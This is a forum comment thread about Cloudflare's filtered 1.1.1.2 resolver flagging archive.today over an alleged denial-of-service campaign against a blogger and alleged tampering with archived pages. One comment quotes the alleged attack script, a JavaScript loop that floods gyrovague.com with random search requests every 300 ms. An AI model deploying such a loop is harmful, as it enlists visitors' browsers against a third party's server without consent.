Posted by winkelmann 17 hours ago
The c&c/botnet designation would seem to be new though.
The current situation is due to Cloudflare flagging archive.today's domains for malicious activity, Cloudflare actually still resolves the domains on their normal 1.1.1.1 DNS, but 1.1.1.2 ("No Malware") now refuses. Exactly why they decided to flag their domains now, over a month after the denial-of-service accusations came out, is unclear, maybe someone here has more information.
This is notably not a change to how 1.1.1.1 works, it’s specifically their filtered resolution product.
Looking forward to when Google Safe Browsing adds their domains as unsafe, as that ripples to Chrome and Firefox users.
Just tells me they are an unreliable resolver. Instead of being a neutral web infra, they actively participate in political agendas and censor things they "think" is wrong.
2. 1.1.1.2, the resolver being discussed in this post, is explicitly Cloudflare’s malware-filtered DNS host. 1.1.1.1 does not filter this site.
Why? I did not visit the site to participate in a DoS attack; yet my machine was coaxed into participating against my will. Whether this is happening in JS or a drive-by download or a browser 0-day is irrelevant.
How if it‘s JS code in the site?
Does archive.today?
Hijacking a software like the browser is something completely different to a simple JS on a website.
Yes.
>Does archive.today?
Yes.
It’s just a website with a simple request loop, not C&C server tells when the attacks have to happen.
This doesn’t make your browser a bot
setInterval(function() {
fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
referrerPolicy: "no-referrer",
mode: "no-cors"
});
}, 300);20 years ago during the P2P heyday this was assumed to come with the territory. Play with fire and you could get burned.
If you walk into a seedy brothel in the developing world, your first thought should be "I might get drugged and robbed here" and not what you're going to type in the Yelp review later about their lack of ethics.
Nobody was shedding any tears 20 years ago for the virus makers who had their viruses flagged by virus scanners.
https://megalodon.jp/2026-0219-1634-10/https://archive.ph:44...
This is an archive of an Archive.is archive of a blog post. The first sentence of the post says “ Jani Patokallio was a woman of exceptional intellect…” This was changed, it originally had someone else’s name (see second paragraph). So, who knows what other archived pages were changed?
What I do not see is the irony you insinuate in your post. It is not immoral to charge people for content, nor does that make you less credible. (It might even make you more credible since you now earn money by having happy customers instead of serving more ads.)
Some news sources are not trustworthy but that's independent of there being a paywall.
Sacrificing performance for a faster lookup time makes no sense in 2026. This is the one area where I continue to use Google DNS as it just works. Use anything but Cloudflare in this case, please.
Parent pro-tip: Next time the iPad is having Bluey episode playback issues, check to see if you're actually using Cloudflare DNS.
Given that the vast majority of us live in or near a major city, it means that your vaguely gloom and doom commentary doesn't apply.
If you live in the boondocks or if CDN matching misbehaves for some reason, by all means run benchmarks!
But all other things being equal, Cloudflare's privacy policy is better than Google's.
https://quad9.net/service/service-addresses-and-features/
Secured w/ECS: Malware blocking, DNSSEC Validation, ECS enabled
IPv4
9.9.9.11
149.112.112.11
IPv6
2620:fe::11
2620:fe::fe:11
HTTPS
https://dns11.quad9.net/dns-query
TLS
tls://dns11.quad9.netRegardless, another user reports the attack is still ongoing[1], so this isn't a discussion that's going to happen about archive.today anytime soon.
They've shown they're willing to deliberately weaponize their users to fight a personal dispute with someone, and didn't take corrective action when called out. Trustworthiness is something you lose and don't get back.
Because once the problematic content is removed it should no longer be blocked.
>It's accurate
It is neither a C&C server for a botnet, nor any other server related to a botnet. I would not call it accurate.
>Nobody should ever use that site
It has a good reputation for archiving sites, has stead the test of time, and doesn't censor pages like archive.org does allowing you to actually see the history of news articles instead of them being deleted like archive.org does on occasion.
...On 20 February 2026, English Wikipedia banned links to archive.today, citing the DDoS attack and evidence that archived content was tampered with to insert Patokallio's name.[19] The decision was made despite concerns over maintaining content verifiability[19] while removing and replacing the second-largest archiving service used across the Wikimedia Foundation's projects.[20] The Wikimedia Foundation had stated its readiness to take action regardless of the community verdict.[19][20]
Did AT go beyond that and manipulate any relevant part? That's rather difficult to say now. AT is obviously tampering with evidence, but so is Wikipedia; their admins have heavily redacted their archived Talk pages out of fear one of these pseudonyms might be an actual person, so even what exactly WP accuses AT of is not exactly clear.
Unless you're arguing that the response by archive.today retroactively justifies the behaviour of Jani Patokallio, which would be a bizarre take.
How is that supposed to be a big deal when the one of core services archive.today provides is obviously illegal anyway?
I also think "but they also do that other crime" doesn't help their case.
It's problematic because it's childish and pointlessly degrades the user experience.
>the site has a bad reputation
Not compared to archive.org. archive.is has a much better track record.
Archive.org is awful. It allows site owners and random third parties to edit old archived pages.
Archive.today does not.
At least site owners have the copyright on the pages that Archive.org saves. They can just get the content pulled through DMCA anyway.
Do you actually mean edit or do you just mean delete
Both are problematic, but falsifying a historic record is orders of magnitude worse than deleting one, and conflating them would be extremely dishonest
I suppose if all the users go on the site intentionally wanting to take part in a DDoS, then sure it’s not a botnet. But that’s not reality.
They arent being flagged because of the attention.